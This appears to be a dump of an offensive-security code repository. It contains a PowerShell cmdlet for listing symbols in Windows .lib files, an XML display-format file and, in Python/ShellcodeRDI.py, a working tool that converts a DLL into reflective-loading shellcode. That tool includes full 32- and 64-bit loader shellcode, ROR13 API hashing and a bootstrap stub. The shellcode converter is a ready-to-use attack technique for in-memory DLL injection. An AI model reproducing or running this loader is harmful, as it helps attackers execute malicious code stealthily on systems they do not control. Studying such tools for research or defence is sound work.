35 | You can pipe a file system path (in quotation marks) to Get-LibSymbols.
36 |
37 | .OUTPUTS
38 |
39 | COFF.SymbolInfo
40 |
41 | .LINK
42 |
43 | http://www.exploit-monday.com/
44 | #>
45 | [CmdletBinding()] Param (
46 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
47 | [ValidateScript({ Test-Path $_ })]
48 | [Alias('FullName')]
49 | [String[]]
50 | $Path
51 | )
52 |
53 | BEGIN
54 | {
55 | $Code = @'
56 | using System;
57 | using System.IO;
58 | using System.Text;
59 | using System.Runtime.InteropServices;
60 |
61 | namespace COFF
62 | {
63 | public class HEADER
64 | {
65 | public ushort Machine;
66 | public ushort NumberOfSections;
67 | public DateTime TimeDateStamp;
68 | public uint PointerToSymbolTable;
69 | public uint NumberOfSymbols;
70 | public ushort SizeOfOptionalHeader;
71 | public ushort Characteristics;
72 |
73 | public HEADER(BinaryReader br)
74 | {
75 | this.Machine = br.ReadUInt16();
76 | this.NumberOfSections = br.ReadUInt16();
77 | this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32());
78 | this.PointerToSymbolTable = br.ReadUInt32();
79 | this.NumberOfSymbols = br.ReadUInt32();
80 | this.SizeOfOptionalHeader = br.ReadUInt16();
81 | this.Characteristics = br.ReadUInt16();
82 | }
83 | }
84 |
85 | public class IMAGE_ARCHIVE_MEMBER_HEADER
86 | {
87 | public string Name;
88 | public DateTime Date;
89 | public ulong Size;
90 | public string EndHeader;
91 |
92 | public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br)
93 | {
94 | string tempName = Encoding.UTF8.GetString(br.ReadBytes(16));
95 | DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0);
96 | this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47));
97 | this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0]));
98 | br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields.
99 | this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]);
100 | this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2));
101 | }
102 | }
103 |
104 | public class Functions
105 | {
106 | [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)]
107 | public static extern int UnDecorateSymbolName(
108 | [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName,
109 | [Out] StringBuilder UnDecoratedName,
110 | [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength,
111 | [In] [MarshalAs(UnmanagedType.U4)] uint Flags);
112 | }
113 | }
114 | '@
115 |
116 | Add-Type -TypeDefinition $Code
117 |
118 | function Dispose-Objects
119 | {
120 | $BinaryReader.Close()
121 | $FileStream.Dispose()
122 | }
123 | }
124 |
125 | PROCESS
126 | {
127 | foreach ($File in $Path)
128 | {
129 | # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path.
130 | $LibFilePath = Resolve-Path $File
131 |
132 | # Pull out just the file name
133 | $LibFileName = Split-Path $LibFilePath -Leaf
134 |
135 | $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60
136 | $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files
137 | $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length
138 | $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header
139 | $SizeofCOFFFileHeader = 20
140 |
141 | # Open the object file for reading
142 | $FileStream = [IO.File]::OpenRead($LibFilePath)
143 |
144 | $FileLength = $FileStream.Length
145 |
146 | # Validate lib header size
147 | if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR)
148 | {
149 | # You cannot parse the lib header if the file is not big enough to contain a lib header.
150 | Write-Error "$($LibFileName) is too small to store a lib header."
151 | $FileStream.Dispose()
152 | return
153 | }
154 |
155 | # Open a BinaryReader object for the lib file
156 | $BinaryReader = New-Object IO.BinaryReader($FileStream)
157 |
158 | $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8))
159 |
160 | if ($ArchiveStart -ne $IMAGE_ARCHIVE_START)
161 | {
162 | Write-Error "$($LibFileName) does not contain a valid lib header."
163 | Dispose-Objects
164 | return
165 | }
166 |
167 | # Parse the first archive header
168 | $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader)
169 |
170 | if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END)
171 | {
172 | Write-Error "$($LibFileName) does not contain a valid lib header."
173 | Dispose-Objects
174 | return
175 | }
176 |
177 | # Check for the existence of symbols
178 | if ($ArchiveHeader.Size -eq 0)
179 | {
180 | Write-Warning "$($LibFileName) contains no symbols."
181 | Dispose-Objects
182 | return
183 | }
184 |
185 | $NumberOfSymbols = $BinaryReader.ReadBytes(4)
186 |
187 | # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format
188 | if ([BitConverter]::IsLittleEndian)
189 | {
190 | [Array]::Reverse($NumberOfSymbols)
191 | }
192 |
193 | $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0)
194 |
195 | $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols)
196 |
197 | foreach ($Offset in 0..($SymbolOffsets.Length - 1))
198 | {
199 | $SymbolOffset = $BinaryReader.ReadBytes(4)
200 |
201 | if ([BitConverter]::IsLittleEndian)
202 | {
203 | [Array]::Reverse($SymbolOffset)
204 | }
205 |
206 | $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0)
207 | }
208 |
209 | $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1
210 | # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0)
211 |
212 | # Write-Output $SymbolStrings
213 |
214 | # There will be many duplicate offset entries. Remove them.
215 | $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique
216 |
217 | $SymbolOffsetsSorted | ForEach-Object {
218 | # Seek to the each repective offset in the file
219 | $FileStream.Seek($_, 'Begin') | Out-Null
220 |
221 | $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader)
222 |
223 | # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header
224 | # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file'
225 | # consists solely of the module name and symbol.
226 | $CoffHeader = New-Object COFF.HEADER($BinaryReader)
227 |
228 | # Check for 0xFFFF flag value
229 | if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue)
230 | {
231 | # Get the total length of the module and symbol name
232 | $SymbolStringLength = $CoffHeader.NumberOfSymbols
233 | $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0)
234 |
235 | $DecoratedSymbol = $Symbols[0]
236 | $UndecoratedSymbol = ''
237 |
238 | # Default to a 'C' type symbol unless it starts with a '?'
239 | $SymbolType = 'C'
240 |
241 | # Is the symbol a C++ type?
242 | if ($DecoratedSymbol.StartsWith('?'))
243 | {
244 | $StrBuilder = New-Object Text.Stringbuilder(512)
245 | # Magically undecorated the convoluted C++ symbol into a proper C++ function definition
246 | [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null
247 | $UndecoratedSymbol = $StrBuilder.ToString()
248 | $SymbolType = 'C++'
249 | }
250 | else
251 | {
252 | if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@')
253 | {
254 | $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0]
255 | }
256 | else
257 | {
258 | $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0]
259 | }
260 | }
261 |
262 | $SymInfo = @{
263 | DecoratedName = $DecoratedSymbol
264 | UndecoratedName = $UndecoratedSymbol
265 | Module = $Symbols[1]
266 | SymbolType = $SymbolType
267 | }
268 |
269 | $ParsedSymbol = New-Object PSObject -Property $SymInfo
270 | $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo'
271 |
272 | Write-Output $ParsedSymbol
273 | }
274 | }
275 |
276 | # Close file and binaryreader objects
277 | Dispose-Objects
278 | }
279 | }
280 |
281 | END {}
282 | }
--------------------------------------------------------------------------------
/Python/ShellcodeRDI.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | if sys.version_info < (3,0):
4 | print("[!] Sorry, requires Python 3.x")
5 | sys.exit(1)
6 |
7 | import pefile
8 | from struct import pack
9 |
10 | #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b
11 | #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b
12 |
13 | def is64BitDLL(bytes):
14 | pe = pefile.PE(data=bytes, fast_load=True)
15 | return (pe.OPTIONAL_HEADER.Magic == 0x20b)
16 |
17 | ror = lambda val, r_bits, max_bits: \
18 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
19 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
20 |
21 | def HashFunctionName(name, module = None):
22 |
23 | function = name.encode() + b'\x00'
24 |
25 | if(module):
26 | module = module.upper().encode('UTF-16LE') + b'\x00\x00'
27 |
28 | functionHash = 0
29 |
30 | for b in function:
31 | functionHash = ror(functionHash, 13, 32)
32 | functionHash += b
33 |
34 | moduleHash = 0
35 |
36 | for b in module:
37 | moduleHash = ror(moduleHash, 13, 32)
38 | moduleHash += b
39 |
40 | functionHash += moduleHash
41 |
42 | if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
43 |
44 | else:
45 | functionHash = 0
46 |
47 | for b in function:
48 | functionHash = ror(functionHash, 13, 32)
49 | functionHash += b
50 |
51 | return functionHash
52 |
53 | def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None'):
54 |
55 | rdiShellcode64 = b"\xe9\x1b\x04\x00\x00\xcc\xcc\xcc\x48\x89\x5c\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xf1\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb4\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x33\xd2\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x42\x8b\x9c\x00\x88\x00\x00\x00\x85\xdb\x74\xd4\x48\x8b\x04\x24\x48\xc1\xe8\x10\x44\x0f\xb7\xd0\x45\x85\xd2\x74\x21\x48\x8b\x4c\x24\x08\x45\x8b\xda\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xeb\x01\x75\xe7\x4d\x8d\x14\x18\x33\xc9\x41\x8b\x7a\x20\x49\x03\xf8\x41\x39\x4a\x18\x76\x8f\x8b\x1f\x45\x33\xdb\x49\x03\xd8\x48\x8d\x7f\x04\x0f\xbe\x03\x48\xff\xc3\x41\xc1\xcb\x0d\x44\x03\xd8\x80\x7b\xff\x00\x75\xed\x41\x8d\x04\x13\x3b\xc6\x74\x0d\xff\xc1\x41\x3b\x4a\x18\x72\xd1\xe9\x5b\xff\xff\xff\x41\x8b\x42\x24\x03\xc9\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x74\x24\x28\x48\x83\xc4\x10\x5f\xc3\xcc\xcc\xcc\x44\x89\x4c\x24\x20\x4c\x89\x44\x24\x18\x89\x54\x24\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xec\x38\x48\x8b\xe9\x45\x8b\xe1\xb9\x4c\x77\x26\x07\x44\x8b\xf2\xe8\xd7\xfe\xff\xff\xb9\x49\xf7\x02\x78\x4c\x8b\xe8\xe8\xca\xfe\xff\xff\xb9\x58\xa4\x53\xe5\x48\x89\x84\x24\x80\x00\x00\x00\xe8\xb8\xfe\xff\xff\xb9\xaf\xb1\x5c\x94\x48\x8b\xd8\xe8\xab\xfe\xff\xff\x48\x63\x75\x3c\x33\xc9\x48\x03\xf5\x48\x89\x44\x24\x20\x41\xb8\x00\x30\x00\x00\x4c\x8b\xf8\x44\x8d\x49\x40\x8b\x56\x50\xff\xd3\x44\x8b\x46\x54\x48\x8b\xf8\x48\x8b\xcd\x41\xbb\x01\x00\x00\x00\x4d\x85\xc0\x74\x13\x48\x8b\xd0\x48\x2b\xd5\x8a\x01\x88\x04\x0a\x49\x03\xcb\x4d\x2b\xc3\x75\xf3\x44\x0f\xb7\x4e\x06\x0f\xb7\x46\x14\x4d\x85\xc9\x74\x38\x48\x8d\x4e\x2c\x48\x03\xc8\x8b\x51\xf8\x4d\x2b\xcb\x44\x8b\x01\x48\x03\xd7\x44\x8b\x51\xfc\x4c\x03\xc5\x4d\x85\xd2\x74\x10\x41\x8a\x00\x4d\x03\xc3\x88\x02\x49\x03\xd3\x4d\x2b\xd3\x75\xf0\x48\x83\xc1\x28\x4d\x85\xc9\x75\xcf\x8b\x9e\x90\x00\x00\x00\x48\x03\xdf\x8b\x43\x0c\x85\xc0\x0f\x84\x91\x00\x00\x00\x48\x8b\xac\x24\x80\x00\x00\x00\x8b\xc8\x48\x03\xcf\x41\xff\xd5\x44\x8b\x3b\x4c\x8b\xe0\x44\x8b\x73\x10\x4c\x03\xff\x4c\x03\xf7\xeb\x49\x49\x83\x3f\x00\x7d\x29\x49\x63\x44\x24\x3c\x41\x0f\xb7\x17\x42\x8b\x8c\x20\x88\x00\x00\x00\x42\x8b\x44\x21\x10\x42\x8b\x4c\x21\x1c\x48\x2b\xd0\x49\x03\xcc\x8b\x04\x91\x49\x03\xc4\xeb\x0f\x49\x8b\x16\x49\x8b\xcc\x48\x83\xc2\x02\x48\x03\xd7\xff\xd5\x49\x89\x06\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x83\x3e\x00\x75\xb1\x8b\x43\x20\x48\x83\xc3\x14\x85\xc0\x75\x8c\x44\x8b\xb4\x24\x88\x00\x00\x00\x4c\x8b\x7c\x24\x20\x44\x8b\xa4\x24\x98\x00\x00\x00\x4c\x8b\xd7\x41\xbd\x02\x00\x00\x00\x4c\x2b\x56\x30\x83\xbe\xb4\x00\x00\x00\x00\x41\x8d\x6d\xff\x0f\x84\x97\x00\x00\x00\x44\x8b\x86\xb0\x00\x00\x00\x4c\x03\xc7\x41\x8b\x40\x04\x85\xc0\x0f\x84\x81\x00\x00\x00\xbb\xff\x0f\x00\x00\x41\x8b\x10\x4d\x8d\x58\x08\x44\x8b\xc8\x48\x03\xd7\x49\x83\xe9\x08\x49\xd1\xe9\x74\x57\x41\x0f\xb7\x0b\x4c\x2b\xcd\x0f\xb7\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x75\x09\x48\x23\xcb\x4c\x01\x14\x11\xeb\x32\x66\x83\xf8\x03\x75\x09\x48\x23\xcb\x44\x01\x14\x11\xeb\x23\x66\x3b\xc5\x75\x10\x48\x23\xcb\x49\x8b\xc2\x48\xc1\xe8\x10\x66\x01\x04\x11\xeb\x0e\x66\x41\x3b\xc5\x75\x08\x48\x23\xcb\x66\x44\x01\x14\x11\x4d\x03\xdd\x4d\x85\xc9\x75\xa9\x41\x8b\x40\x04\x4c\x03\xc0\x41\x8b\x40\x04\x85\xc0\x75\x84\x8b\x5e\x28\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\x48\x03\xdf\x41\xff\xd7\x4c\x8b\xc5\x8b\xd5\x48\x8b\xcf\xff\xd3\x45\x85\xf6\x0f\x84\x93\x00\x00\x00\x83\xbe\x8c\x00\x00\x00\x00\x0f\x84\x86\x00\x00\x00\x8b\x96\x88\x00\x00\x00\x48\x03\xd7\x44\x8b\x5a\x18\x45\x85\xdb\x74\x74\x83\x7a\x14\x00\x74\x6e\x44\x8b\x52\x20\x33\xdb\x44\x8b\x4a\x24\x4c\x03\xd7\x4c\x03\xcf\x45\x85\xdb\x74\x59\x45\x8b\x02\x4c\x03\xc7\x33\xc9\x41\x0f\xbe\x00\x4c\x03\xc5\xc1\xc9\x0d\x03\xc8\x41\x80\x78\xff\x00\x75\xed\x44\x3b\xf1\x74\x10\x03\xdd\x49\x83\xc2\x04\x4d\x03\xcd\x41\x3b\xdb\x72\xd2\xeb\x29\x41\x0f\xb7\x01\x83\xf8\xff\x74\x20\x8b\x52\x1c\x48\x8b\x8c\x24\x90\x00\x00\x00\xc1\xe0\x02\x48\x98\x48\x03\xc7\x44\x8b\x04\x02\x41\x8b\xd4\x4c\x03\xc7\x41\xff\xd0\x48\x8b\xc7\x48\x83\xc4\x38\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\x5e\x5d\x5b\xc3\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x56\x48\x8b\xf4\x48\x83\xe4\xf0\x48\x83\xec\x20\xe8\xcf\xfc\xff\xff\x48\x8b\xe6\x5e\xc3";
56 | rdiShellcode32 = b"\x83\xEC\x20\x53\x55\x56\x57\xB9\x4C\x77\x26\x07\xE8\x20\x03\x00\x00\xB9\x49\xF7\x02\x78\x89\x44\x24\x18\xE8\x12\x03\x00\x00\xB9\x58\xA4\x53\xE5\x89\x44\x24\x1C\xE8\x04\x03\x00\x00\xB9\xAF\xB1\x5C\x94\x8B\xF0\xE8\xF8\x02\x00\x00\x8B\x6C\x24\x34\x6A\x40\x68\x00\x30\x00\x00\x89\x44\x24\x34\x8B\x5D\x3C\x03\xDD\x89\x5C\x24\x18\xFF\x73\x50\x6A\x00\xFF\xD6\x8B\x73\x54\x8B\xF8\x89\x7C\x24\x28\x8B\xD5\x85\xF6\x74\x0F\x8B\xCF\x2B\xCD\x8A\x02\x88\x04\x11\x42\x83\xEE\x01\x75\xF5\x0F\xB7\x6B\x06\x0F\xB7\x43\x14\x85\xED\x74\x34\x8D\x4B\x2C\x03\xC8\x8B\x44\x24\x34\x8B\x51\xF8\x4D\x8B\x31\x03\xD7\x8B\x59\xFC\x03\xF0\x85\xDB\x74\x0F\x8A\x06\x88\x02\x42\x46\x83\xEB\x01\x75\xF5\x8B\x44\x24\x34\x83\xC1\x28\x85\xED\x75\xD9\x8B\x5C\x24\x10\x8B\xB3\x80\x00\x00\x00\x03\xF7\x89\x74\x24\x14\x8B\x46\x0C\x85\xC0\x74\x7D\x03\xC7\x50\xFF\x54\x24\x1C\x8B\x6E\x10\x8B\xD8\x8B\x06\x03\xEF\x03\xC7\x89\x44\x24\x34\x83\x7D\x00\x00\x74\x4F\x8B\x74\x24\x1C\x8B\x08\x85\xC9\x74\x1E\x79\x1C\x8B\x43\x3C\x0F\xB7\xC9\x8B\x44\x18\x78\x2B\x4C\x18\x10\x8B\x44\x18\x1C\x8D\x04\x88\x8B\x04\x18\x03\xC3\xEB\x0C\x8B\x45\x00\x83\xC0\x02\x03\xC7\x50\x53\xFF\xD6\x89\x45\x00\x83\xC5\x04\x8B\x44\x24\x34\x83\xC0\x04\x89\x44\x24\x34\x83\x7D\x00\x00\x75\xB9\x8B\x74\x24\x14\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x14\x85\xC0\x75\x87\x8B\x5C\x24\x10\x8D\x83\xE0\x00\x00\x00\x85\xC0\x74\x79\x8B\x00\x85\xC0\x74\x73\x8D\x77\x04\x03\xF0\x89\x74\x24\x34\x83\x3E\x00\x74\x65\x8B\x06\x03\xC7\x50\xFF\x54\x24\x1C\x8B\x6E\x0C\x8B\xD0\x8B\x46\x08\x03\xEF\x03\xC7\x89\x54\x24\x24\x89\x44\x24\x20\x8B\x4D\x00\x85\xC9\x74\x31\x8B\x74\x24\x20\xB8\x00\x00\x40\x00\x2B\xC7\x8B\xD8\x8D\x47\x02\x03\xC1\x50\x52\xFF\x54\x24\x24\x8B\x54\x24\x24\x8D\x6D\x04\x03\xC3\x89\x06\x8D\x76\x04\x8B\x4D\x00\x85\xC9\x75\xE0\x8B\x74\x24\x34\x83\xC6\x20\x89\x74\x24\x34\x83\x3E\x00\x75\x9F\x8B\x5C\x24\x10\x8B\xEF\xC7\x44\x24\x20\x01\x00\x00\x00\x2B\x6B\x34\x83\xBB\xA4\x00\x00\x00\x00\x0F\x84\xAA\x00\x00\x00\x8B\x93\xA0\x00\x00\x00\x03\xD7\x89\x54\x24\x34\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x1C\x85\xC0\x0F\x84\x8D\x00\x00\x00\x8B\x32\x8D\x58\xF8\x03\xF7\x8D\x42\x08\xD1\xEB\x89\x44\x24\x24\x74\x60\x6A\x02\x8B\xF8\x5A\x0F\xB7\x0F\x4B\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0B\x81\xE1\xFF\x0F\x00\x00\x01\x2C\x31\xEB\x27\x66\x3B\x44\x24\x20\x75\x11\x81\xE1\xFF\x0F\x00\x00\x8B\xC5\xC1\xE8\x10\x66\x01\x04\x31\xEB\x0F\x66\x3B\xC2\x75\x0A\x81\xE1\xFF\x0F\x00\x00\x66\x01\x2C\x31\x03\xFA\x85\xDB\x75\xB1\x8B\x7C\x24\x28\x8B\x54\x24\x34\x8B\x4C\x24\x1C\x03\x11\x89\x54\x24\x34\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x1C\x85\xC0\x0F\x85\x77\xFF\xFF\xFF\x8B\x5C\x24\x10\x8B\x73\x28\x6A\x00\x6A\x00\x6A\xFF\x03\xF7\xFF\x54\x24\x38\x33\xC0\x40\x50\x50\x57\xFF\xD6\x83\x7C\x24\x38\x00\x74\x7C\x83\x7B\x7C\x00\x74\x76\x8B\x4B\x78\x03\xCF\x8B\x41\x18\x85\xC0\x74\x6A\x83\x79\x14\x00\x74\x64\x8B\x69\x20\x8B\x71\x24\x03\xEF\x83\x64\x24\x34\x00\x03\xF7\x85\xC0\x74\x51\x8B\x5D\x00\x03\xDF\x33\xD2\x0F\xBE\x03\xC1\xCA\x0D\x03\xD0\x43\x80\x7B\xFF\x00\x75\xF1\x39\x54\x24\x38\x74\x16\x8B\x44\x24\x34\x83\xC5\x04\x40\x83\xC6\x02\x89\x44\x24\x34\x3B\x41\x18\x72\xD0\xEB\x1F\x0F\xB7\x16\x83\xFA\xFF\x74\x17\x8B\x41\x1C\xFF\x74\x24\x40\xFF\x74\x24\x40\x8D\x04\x90\x8B\x04\x38\x03\xC7\xFF\xD0\x59\x59\x8B\xC7\x5F\x5E\x5D\x5B\x83\xC4\x20\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB";
57 |
58 | if is64BitDLL(dllBytes):
59 |
60 | rdiShellcode = rdiShellcode64
61 |
62 | bootstrap = b''
63 | bootstrapSize = 34
64 |
65 | # call next instruction (Pushes next instruction address to stack)
66 | bootstrap += b'\xe8\x00\x00\x00\x00'
67 |
68 | #Here is where the we pop the address of our next instruction off the stack and into the first register
69 | # pop rcx
70 | bootstrap += b'\x59'
71 |
72 | # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
73 | bootstrap += b'\x49\x89\xc8'
74 |
75 | # Setup the location of the DLL into RCX
76 | # add rcx, 29 (Size of bootstrap from pop) +
77 | bootstrap += b'\x48\x81\xc1'
78 | dllLocation = bootstrapSize - 5 + len(rdiShellcode);
79 | bootstrap += pack('I', dllLocation)
80 |
81 | # mov edx,
82 | bootstrap += b'\xba'
83 | bootstrap += pack('I', functionHash)
84 |
85 | # Setup the location of our user data
86 | # add r8, (Size of bootstrap) + +
87 | bootstrap += b'\x49\x81\xc0'
88 | userDataLocation = bootstrapSize - 5 + len(rdiShellcode) + len(dllBytes);
89 | bootstrap += pack('I', userDataLocation)
90 |
91 | # mov r9d,
92 | bootstrap += b'\x41\xb9'
93 | bootstrap += pack('I', len(userData))
94 |
95 | # Ends up looking like this in memory:
96 | # Bootstrap shellcode
97 | # RDI shellcode
98 | # DLL bytes
99 | # User data
100 | return bootstrap + rdiShellcode + dllBytes + userData
101 |
102 | else: # 32 bit
103 | rdiShellcode = rdiShellcode32
104 |
105 | bootstrap = b''
106 | bootstrapSize = 40
107 |
108 | # call next instruction (Pushes next instruction address to stack)
109 | bootstrap += b'\xe8\x00\x00\x00\x00'
110 |
111 | #Here is where the we pop the address of our next instruction off the stack and into the first register
112 | # pop rcx
113 | bootstrap += b'\x58'
114 |
115 | # mov ebx, eax - copy our location in memory to ebx before we start modifying eax
116 | bootstrap += b'\x89\xc3'
117 |
118 | # add eax, +
119 | bootstrap += b'\x05'
120 | dllLocation = bootstrapSize - 5 + len(rdiShellcode);
121 | bootstrap += pack('I', dllLocation)
122 |
123 | # add ebx, + +
124 | bootstrap += b'\x81\xc3'
125 | userDataLocation = bootstrapSize - 5 + len(rdiShellcode) + len(dllBytes);
126 | bootstrap += pack('I', userDataLocation)
127 |
128 | # push
129 | bootstrap += b'\x68'
130 | bootstrap += pack('I', len(userData))
131 |
132 | # push ebx
133 | bootstrap += b'\x53'
134 |
135 | # push
136 | bootstrap += b'\x68'
137 | bootstrap += pack('I', functionHash)
138 |
139 | # push eax
140 | bootstrap += b'\x50'
141 |
142 | # call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes)
143 | bootstrap += b'\xe8\x04\x00\x00\x00'
144 |
145 | # add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves
146 | bootstrap += b'\x83\xc4\x10'
147 |
148 | # ret - because we used call earlier
149 | bootstrap += b'\xc3'
150 |
151 | # Ends up looking like this in memory:
152 | # Bootstrap shellcode
153 | # RDI shellcode
154 | # DLL bytes
155 | # User data
156 | return bootstrap + rdiShellcode + dllBytes + userData
157 |
158 | return False;
159 |
--------------------------------------------------------------------------------
/lib/PowerShell/Get-ObjDump.format.ps1xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ObjectFileView
6 |
7 | COFF.OBJECT_FILE
8 |
9 |
10 |
11 |
12 |
13 |
14 | COFFHeader
15 |
16 |
17 | SectionHeaders
18 |
19 |
20 | SymbolTable
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | COFFHeaderView
29 |
30 | COFF.HEADER
31 |
32 |
33 |
34 |
35 |
36 |
37 | Machine
38 |
39 |
40 | NumberOfSections
41 | 0x{0:X4}
42 |
43 |
44 | TimeDateStamp
45 |
46 |
47 | PointerToSymbolTable
48 | 0x{0:X8}
49 |
50 |
51 | NumberOfSymbols
52 | 0x{0:X8}
53 |
54 |
55 | SizeOfOptionalHeader
56 | 0x{0:X4}
57 |
58 |
59 | Characteristics
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 | SectionHeaderView
68 |
69 | COFF.SECTION_HEADER
70 |
71 |
72 |
73 |
74 |
75 |
76 | Name
77 |
78 |
79 | PhysicalAddress
80 | 0x{0:X8}
81 |
82 |
83 | VirtualSize
84 | 0x{0:X8}
85 |
86 |
87 | VirtualAddress
88 | 0x{0:X8}
89 |
90 |
91 | SizeOfRawData
92 | 0x{0:X8}
93 |
94 |
95 | PointerToRawData
96 | 0x{0:X8}
97 |
98 |
99 | PointerToRelocations
100 | 0x{0:X8}
101 |
102 |
103 | PointerToLinenumbers
104 | 0x{0:X8}
105 |
106 |
107 | NumberOfRelocations
108 | 0x{0:X4}
109 |
110 |
111 | NumberOfLinenumbers
112 | 0x{0:X4}
113 |
114 |
115 | Characteristics
116 |
117 |
118 | RawData
119 |
120 |
121 | Relocations
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 | SymbolTableView
130 |
131 | COFF.SYMBOL_TABLE
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 | Name
163 |
164 |
165 | Value
166 | 0x{0:X8}
167 |
168 |
169 | SectionNumber
170 |
